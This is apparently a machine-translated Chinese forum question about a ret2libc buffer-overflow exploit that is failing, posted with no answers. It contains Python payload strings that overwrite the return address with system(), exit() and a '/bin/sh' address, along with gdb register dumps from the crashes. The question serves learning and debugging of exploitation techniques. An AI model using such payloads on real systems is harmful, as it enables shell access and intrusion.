返回libc攻击

时间:2015-12-22 10:37:58

标签: segmentation-fault buffer-overflow libc

我正在进行ret2libc攻击,我遇到了一个我自己无法解决的问题。

ASLR已停用。 NX位已设置。

我可以使用以下命令覆盖返回地址:

python -c 'print "A"*112 + "BBBB"'`

如果我使用上述命令调用该函数,gdb将输出以下内容:

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x804a000    134520832
ecx            0xffffcebc   -12612
edx            0x0  0
ebx            0xf7fb1000   -134541312
esp            0xffffcf30   0xffffcf30
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x8048520    134513952
eip            0x42424242   0x42424242
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

到目前为止,非常好。

然后我打印了system()exit()的地址:

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e37cd0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e2ba20 <exit>

并将&#34; / bin / sh&#34;进入环境变量

0xffffd2bd: "SHELL=/bin/bash"

所以/ bin / sh的地址等于0xffffd2bd + 0x6 = 0xffffd2c3

但是如果我使用以下命令调用该函数:

python -c 'print "A"*112 + "\xd0\x7c\xe3\xf7" + "\x20\xba\xe2\xf7" + "\xc3\xd2\xff\xff"

导致

Program received signal SIGSEGV, Segmentation fault.
0x080487c9 in get_desc ()
(gdb) i r
eax            0xf7e2ba20   -136136160
ecx            0xffffcebc   -12612
edx            0x0  0
ebx            0xf7fb1000   -134541312
esp            0xffffceb0   0xffffceb0
ebp            0xffffcf28   0xffffcf28
esi            0x0  0
edi            0x8048520    134513952
eip            0x80487c9    0x80487c9 <my_func+169>
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

退出地址现在位于eax寄存器中。

我很感激每一个提示。

regars

0 个答案:

没有答案